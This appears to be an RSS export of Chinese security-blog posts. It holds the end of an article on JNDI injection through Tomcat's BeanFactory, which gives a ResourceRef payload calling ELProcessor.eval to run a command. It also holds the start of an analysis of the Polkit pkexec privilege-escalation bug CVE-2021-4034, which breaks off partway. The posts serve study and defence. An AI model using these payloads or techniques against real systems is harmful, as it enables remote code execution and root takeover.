none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">使用本地工厂类进行JNDI注入和RMI协议远程加载恶意类的JNDI注入开头的调用栈基本相似，毕竟两者都是基于RMI协议的，但在<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">javax.naming.spi.NamingManager#getObjectInstance</code>这里开始就有所不同。在调用<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">getObjectFactoryFromReference</code>方法时返回的是本地正常的工厂类，这个工厂类是<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">ObjectFactory</code>的实现类或他的子类，然后调用工厂类的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">getObjectInstance</code>方法。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">现在比较通用的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">ObjectFactory</code>实现类是<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">BeanFactory</code>，他的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">getObjectInstance</code>方法会从<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">ResourceRef</code>对象的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">className</code>属性获取类名并实例化，然后从forceString的String引用地址以<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">=</code>号分割获取参数名和setter方法名，并反射获取这个setter参数为String的方法，最后获取参数名的String引用地址内内容，用实例化的对象调用这个setter方法。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy7TkmGKuRMo8XRR9KKEiaNAUHEA2jqgaHXduzDvBJOHia8EdJO6xJJoxJbWfydpj4Q7CdDps4WKVWQ/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">public</span> Object <span style="color: #61aeee;line-height: 26px;">getObjectInstance</span><span style="line-height: 26px;">(Object obj, Name name, Context nameCtx,<br/>                                Hashtable&lt;?,?&gt; environment)</span><br/>    <span style="color: #c678dd;line-height: 26px;">throws</span> NamingException </span>{<br/>    <span style="color: #c678dd;line-height: 26px;">if</span> (obj <span style="color: #c678dd;line-height: 26px;">instanceof</span> ResourceRef) {<br/>        <span style="color: #c678dd;line-height: 26px;">try</span> {<br/>            Reference ref = (Reference) obj;<br/>            String beanClassName = ref.getClassName();<br/>            Class&lt;?&gt; beanClass = <span style="color: #c678dd;line-height: 26px;">null</span>;<br/>            ClassLoader tcl =<br/>                Thread.currentThread().getContextClassLoader();<br/>            <span style="color: #c678dd;line-height: 26px;">if</span> (tcl != <span style="color: #c678dd;line-height: 26px;">null</span>) {<br/>                <span style="color: #c678dd;line-height: 26px;">try</span> {<br/>                    beanClass = tcl.loadClass(beanClassName);<br/>                } <span style="color: #c678dd;line-height: 26px;">catch</span>(ClassNotFoundException e) {<br/>                }<br/>            } <span style="color: #c678dd;line-height: 26px;">else</span> {<br/>                <span style="color: #c678dd;line-height: 26px;">try</span> {<br/>                    beanClass = Class.forName(beanClassName);<br/>                } <span style="color: #c678dd;line-height: 26px;">catch</span>(ClassNotFoundException e) {<br/>                    e.printStackTrace();<br/>                }<br/>            }<br/>            <span style="color: #c678dd;line-height: 26px;">if</span> (beanClass == <span style="color: #c678dd;line-height: 26px;">null</span>) {<br/>                <span style="color: #c678dd;line-height: 26px;">throw</span> <span style="color: #c678dd;line-height: 26px;">new</span> NamingException<br/>                    (<span style="color: #98c379;line-height: 26px;">&#34;Class not found: &#34;</span> + beanClassName);<br/>            }<br/>            ...<br/>            Object bean = beanClass.getConstructor().newInstance();<br/>            <span style="color: #5c6370;font-style: italic;line-height: 26px;">/* Look for properties with explicitly configured setter */</span><br/>            RefAddr ra = ref.get(<span style="color: #98c379;line-height: 26px;">&#34;forceString&#34;</span>);<br/>            Map&lt;String, Method&gt; forced = <span style="color: #c678dd;line-height: 26px;">new</span> HashMap&lt;&gt;();<br/>            String value;<br/>            <span style="color: #c678dd;line-height: 26px;">if</span> (ra != <span style="color: #c678dd;line-height: 26px;">null</span>) {<br/>                value = (String)ra.getContent();<br/>                Class&lt;?&gt; paramTypes[] = <span style="color: #c678dd;line-height: 26px;">new</span> Class[<span style="color: #d19a66;line-height: 26px;">1</span>];<br/>                paramTypes[<span style="color: #d19a66;line-height: 26px;">0</span>] = String<span style="line-height: 26px;">.<span style="color: #c678dd;line-height: 26px;">class</span></span>;<br/>                String setterName;<br/>                <span style="color: #c678dd;line-height: 26px;">int</span> index;<br/>                <span style="color: #5c6370;font-style: italic;line-height: 26px;">/* Items are given as comma separated list */</span><br/>                <span style="color: #c678dd;line-height: 26px;">for</span> (String param: value.split(<span style="color: #98c379;line-height: 26px;">&#34;,&#34;</span>)) {<br/>                    param = param.trim();<br/>                    <span style="color: #5c6370;font-style: italic;line-height: 26px;">/* A single item can either be of the form name=method<br/>                     * or just a property name (and we will use a standard<br/>                     * setter) */</span><br/>                    index = param.indexOf(<span style="color: #98c379;line-height: 26px;">&#39;=&#39;</span>);<br/>                    <span style="color: #c678dd;line-height: 26px;">if</span> (index &gt;= <span style="color: #d19a66;line-height: 26px;">0</span>) {<br/>                        setterName = param.substring(index + <span style="color: #d19a66;line-height: 26px;">1</span>).trim();<br/>                        param = param.substring(<span style="color: #d19a66;line-height: 26px;">0</span>, index).trim();<br/>                    } <span style="color: #c678dd;line-height: 26px;">else</span> {<br/>                        ...<br/>                    }<br/>                    <span style="color: #c678dd;line-height: 26px;">try</span> {<br/>                        forced.put(param,<br/>                                   beanClass.getMethod(setterName, paramTypes));<br/>                    } <span style="color: #c678dd;line-height: 26px;">catch</span> (NoSuchMethodException|SecurityException ex) {<br/>                        ...<br/>                    }<br/>                }<br/>            }<br/>            Enumeration&lt;RefAddr&gt; e = ref.getAll();<br/>            <span style="color: #c678dd;line-height: 26px;">while</span> (e.hasMoreElements()) {<br/>                ra = e.nextElement();<br/>                String propName = ra.getType();<br/>                <span style="color: #c678dd;line-height: 26px;">if</span> (propName.equals(Constants.FACTORY) ||<br/>                    propName.equals(<span style="color: #98c379;line-height: 26px;">&#34;scope&#34;</span>) || propName.equals(<span style="color: #98c379;line-height: 26px;">&#34;auth&#34;</span>) ||<br/>                    propName.equals(<span style="color: #98c379;line-height: 26px;">&#34;forceString&#34;</span>) ||<br/>                    propName.equals(<span style="color: #98c379;line-height: 26px;">&#34;singleton&#34;</span>)) {<br/>                    <span style="color: #c678dd;line-height: 26px;">continue</span>;<br/>                }<br/>                value = (String)ra.getContent();<br/>                Object[] valueArray = <span style="color: #c678dd;line-height: 26px;">new</span> Object[<span style="color: #d19a66;line-height: 26px;">1</span>];<br/>                <span style="color: #5c6370;font-style: italic;line-height: 26px;">/* Shortcut for properties with explicitly configured setter */</span><br/>                Method method = forced.get(propName);<br/>                <span style="color: #c678dd;line-height: 26px;">if</span> (method != <span style="color: #c678dd;line-height: 26px;">null</span>) {<br/>                    valueArray[<span style="color: #d19a66;line-height: 26px;">0</span>] = value;<br/>                    <span style="color: #c678dd;line-height: 26px;">try</span> {<br/>                        method.invoke(bean, valueArray);<br/>                    } <span style="color: #c678dd;line-height: 26px;">catch</span> (...) {<br/>                        ...<br/>                    }<br/>                    <span style="color: #c678dd;line-height: 26px;">continue</span>;<br/>                }<br/>                ...<br/>            }<br/>            <span style="color: #c678dd;line-height: 26px;">return</span> bean;<br/>        } <span style="color: #c678dd;line-height: 26px;">catch</span> (java.beans.IntrospectionException ie) {<br/>            ...<br/>        }<br/>    } <span style="color: #c678dd;line-height: 26px;">else</span> {<br/>        <span style="color: #c678dd;line-height: 26px;">return</span> <span style="color: #c678dd;line-height: 26px;">null</span>;<br/>    }<br/>}<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">结合以上<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">getObjectInstance</code>代码逻辑，被反射的类需要符合以下条件才可被利用:</p><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-2"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">具有一个无参公有构造方法</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">具有一个公有、参数为String类型的方法</section></li></ul><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">一些使用了<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">tomcat-embed-el</code>依赖的项目，或者部分tomcat和spring的版本下具有的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">javax.el.ELProcessor</code>类和他的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">eval</code>方法符合这些条件，最终构造出用于绑定的Remote对象如下：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy7TkmGKuRMo8XRR9KKEiaNAUHEA2jqgaHXduzDvBJOHia8EdJO6xJJoxJbWfydpj4Q7CdDps4WKVWQ/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">ResourceRef resourceRef = <span style="color: #c678dd;line-height: 26px;">new</span> ResourceRef(<span style="color: #98c379;line-height: 26px;">&#34;javax.el.ELProcessor&#34;</span>, (String) <span style="color: #c678dd;line-height: 26px;">null</span>, <span style="color: #98c379;line-height: 26px;">&#34;&#34;</span>, <span style="color: #98c379;line-height: 26px;">&#34;&#34;</span>, <span style="color: #c678dd;line-height: 26px;">true</span>, <span style="color: #98c379;line-height: 26px;">&#34;org.apache.naming.factory.BeanFactory&#34;</span>, (String) <span style="color: #c678dd;line-height: 26px;">null</span>);<br/>resourceRef.add(<span style="color: #c678dd;line-height: 26px;">new</span> StringRefAddr(<span style="color: #98c379;line-height: 26px;">&#34;forceString&#34;</span>, <span style="color: #98c379;line-height: 26px;">&#34;a=eval&#34;</span>));<br/>resourceRef.add(<span style="color: #c678dd;line-height: 26px;">new</span> StringRefAddr(<span style="color: #98c379;line-height: 26px;">&#34;a&#34;</span>, <span style="color: #98c379;line-height: 26px;">&#34;Runtime.getRuntime().exec(\&#34;calc\&#34;)&#34;</span>));<br/>ReferenceWrapper referenceWrapper = <span style="color: #c678dd;line-height: 26px;">new</span> ReferenceWrapper(resourceRef);<br/></code></pre><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>参考</h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><a href="https://mp.weixin.qq.com/s/AG0OfLfQWW-winIWiOtwLQ" target="_blank">https://mp.weixin.qq.com/s/AG0OfLfQWW-winIWiOtwLQ</a></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><a href="https://su18.org/post/rmi-attack/" target="_blank">https://su18.org/post/rmi-attack/</a></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><a href="http://pipinstall.cn/2021/05/31/%E6%B7%B1%E5%85%A5%E5%AD%A6%E4%B9%A0RMI%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/" target="_blank">http://pipinstall.cn/2021/05/31/%E6%B7%B1%E5%85%A5%E5%AD%A6%E4%B9%A0RMI%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/</a></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><a href="https://xz.aliyun.com/t/7932" target="_blank">https://xz.aliyun.com/t/7932</a></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><a href="https://cert.360.cn/report/detail?id=add23f0eafd94923a1fa116a76dee0a1" target="_blank">https://cert.360.cn/report/detail?id=add23f0eafd94923a1fa116a76dee0a1</a></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><a href="https://www.anquanke.com/post/id/263726" target="_blank">https://www.anquanke.com/post/id/263726</a></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><a href="https://tttang.com/archive/1405/" target="_blank">https://tttang.com/archive/1405/</a></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><a href="https://mp.weixin.qq.com/s/gBuKDjRfnbJDv6TG5F6q3w" target="_blank">https://mp.weixin.qq.com/s/gBuKDjRfnbJDv6TG5F6q3w</a></p></section>



<p><a href="2247484550">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=b4d643f8&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2MTY0MDc1Mw%3D%3D%26mid%3D2247484550%26idx%3D1%26sn%3D63494ccf493a0d9c2b44d07974e90374%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 01 Mar 2022 20:05:00 +0800</pubDate>
    </item>
    <item>
      <title>Polkit本地提权 CVE-2021-4034分析与利用</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2MTY0MDc1Mw==&amp;mid=2247484520&amp;idx=1&amp;sn=b9fdfa0c5cc802478a541964a0d5b2c2</link>
      <description>polkit工具包里的pkexec命令由于越界读写导致内存损坏的本地提权漏洞</description>
      <content:encoded><![CDATA[<p>
原创 <span>knaithe</span> <span>2022-02-10 17:15</span> <span style="display: inline-block;"></span>
</p>

<p>polkit工具包里的pkexec命令由于越界读写导致内存损坏的本地提权漏洞</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=beabe70d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F3pMKYkVJQD4S1lCDDIfd4EUcic5UIteaUzfOh1IJyXIh4QQHGBsQp6ekG1kslbRYoIM3ibfhajvtHoqOO2VsPDXg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>漏洞背景</h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">近期国外Qualys安全研究团队披露了一个polkit工具包里的pkexec命令由于越界读写导致内存损坏的本地提权漏洞，影响年限自2009年起至今已有12年，pkexec是一个suid-root的工具。</p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>影响范围</h2><section data-tool="mdnice编辑器" style="overflow-x: auto;"><table><thead><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><th style="border-top-width: 1px;border-color: rgb(204, 204, 204);text-align: left;background-color: rgb(240, 240, 240);min-width: 85px;">组件名称</th><th style="border-top-width: 1px;border-color: rgb(204, 204, 204);text-align: left;background-color: rgb(240, 240, 240);min-width: 85px;">polkit - pkexec</th></tr></thead><tbody style="border-width: 0px;border-style: initial;border-color: initial;"><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="border-color: rgb(204, 204, 204);min-width: 85px;">影响版本</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">0.92~0.120</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="border-color: rgb(204, 204, 204);min-width: 85px;">危险等级</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">高危</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="border-color: rgb(204, 204, 204);min-width: 85px;">受影响范围</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">主流发行版本包括centos、ubuntu、fedora、debian等等都受影响</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="border-color: rgb(204, 204, 204);min-width: 85px;">漏洞修复</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;"><a href="https://gitlab.freedesktop.org/polkit/polkit/-/commit/a2bf5c9c83b6ae46cbd5c779d3055bff81ded683" target="_blank">https://gitlab.freedesktop.org/polkit/polkit/-/commit/a2bf5c9c83b6ae46cbd5c779d3055bff81ded683</a></td></tr></tbody></table></section><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>漏洞描述</h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">下面是对pkexec的简单描述。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy0RtDfuKUUQGTzDjbrdxVv4EqCjstT7l2Jr3ib6alxB6KA5ovZNcKt5wj4Rrp1ce0GORicylOibOFrw/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">PKEXEC(1)              pkexec              PKEXEC(1)<br/>NAME<br/>       pkexec - Execute a <span style="color: #e6c07b;line-height: 26px;">command</span> as another user<br/>SYNOPSIS<br/>       pkexec [--version] [--<span style="color: #e6c07b;line-height: 26px;">disable</span>-internal-agent] [--<span style="color: #e6c07b;line-height: 26px;">help</span>]<br/>       pkexec [--user username] PROGRAM [ARGUMENTS...]<br/>DESCRIPTION<br/>       pkexec allows an authorized user to execute PROGRAM as another user. If username is not specified, <span style="color: #c678dd;line-height: 26px;">then</span> the program will be executed as the administrative super<br/>       user, root.<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">例如普通用户执行vi /etc/shadow会提示[Permission Denied]，但是执行pkexec vi /etc/shadow就可以正常打开，pkexec作用和sudo类似。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.8138686131386861" style="display: block;margin-right: auto;margin-left: auto;" data-type="gif" data-w="1096" src="https://wechat2rss.xlab.app/img-proxy/?k=032df138&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2F3pMKYkVJQD4S1lCDDIfd4EUcic5UIteaUVbScATBDia4fdQmIyN2eBMSoogVHF1PrSbhu3EWEiaiaE77SDcWiaolW8A%2F640%3Fwx_fmt%3Dgif"/><span style="color: rgb(136, 136, 136);font-size: 14px;letter-spacing: 0px;text-align: center;"><br/></span></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>漏洞分析</h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">本次以漏洞修复前一个版本0.120为例分析该漏洞。问题代码在polkit工程下 src/programs/pkexec.c的main函数里，对pkexec参数处理过程中越界读取envp里的value，在pkexec.c的main函数里第一个for循环，534行，默认给n=1。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.7279046673286991" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1007" src="https://wechat2rss.xlab.app/img-proxy/?k=87395940&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4S1lCDDIfd4EUcic5UIteaUSibtcdOFA2UhU31vHbpiabxr12borJTNCbgWgIS9TanRHn6n3jngqqAw%2F640%3Fwx_fmt%3Dpng"/><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"><br/></figcaption></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在代码610行，path = g_strdup (argv[n]);  当给pkexec空参数时，n仍然等于1，此时path越界读取了argv[1]。在632行和639行，argv[1]被越界写入了path的绝对路径。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.7213270142180095" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1055" src="https://wechat2rss.xlab.app/img-proxy/?k=32bcfdc9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4S1lCDDIfd4EUcic5UIteaUiacIdeJXcNfLmR36MbVykGvJLCMmW5CNsTO8VVRfV7mGWZT9Q6ZKw9w%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">那问题就在于，当pkexec传递了空参数后，本不该存在的argv[1]，出现越界读和越界写后，这里argv[1]的值会发生什么变化？在linux系统里，默认启动一个进程都是调用的execve函数，下面是对execve函数的描述：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="1.2412398921832883" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="742" src="https://wechat2rss.xlab.app/img-proxy/?k=54900ace&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4S1lCDDIfd4EUcic5UIteaUhggJ3cXbRtUtEAAWMHmCsbnSh3DYcquZBmsLSPoHlYruhSg0eGWrsw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">当execve一个程序后，它的栈空间传参布局应该是这样：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy0RtDfuKUUQGTzDjbrdxVv4EqCjstT7l2Jr3ib6alxB6KA5ovZNcKt5wj4Rrp1ce0GORicylOibOFrw/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">|---------+---------+-----+------------|---------+---------+-----+------------|<br/>| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] |<br/>|----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|<br/>     V         V                V           V         V                V<br/> <span style="color: #98c379;line-height: 26px;">&#34;program&#34;</span> <span style="color: #98c379;line-height: 26px;">&#34;-option&#34;</span>           NULL      <span style="color: #98c379;line-height: 26px;">&#34;value&#34;</span> <span style="color: #98c379;line-height: 26px;">&#34;PATH=name&#34;</span>          NULL<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">因为栈空间是连续的，当pkexec的参数为空时，argv[0]后面紧接着的应该是envp[0]，也就是这里的argv[1]越界访问的是envp[0]。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">如环境变量“PATH=name”，如果name目录存在，并且name目录下也有value可执行程序，那么envp[0]的便指向name/value；</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">如环境变量设置为“PATH=name=.”，并且“name=.”目录下也有value可执行程序，那么envp[0]的便指向“name=./value”。</p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span>分析总结<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">接下来，我们总结一下整个漏洞触发的过程：</p><ol data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 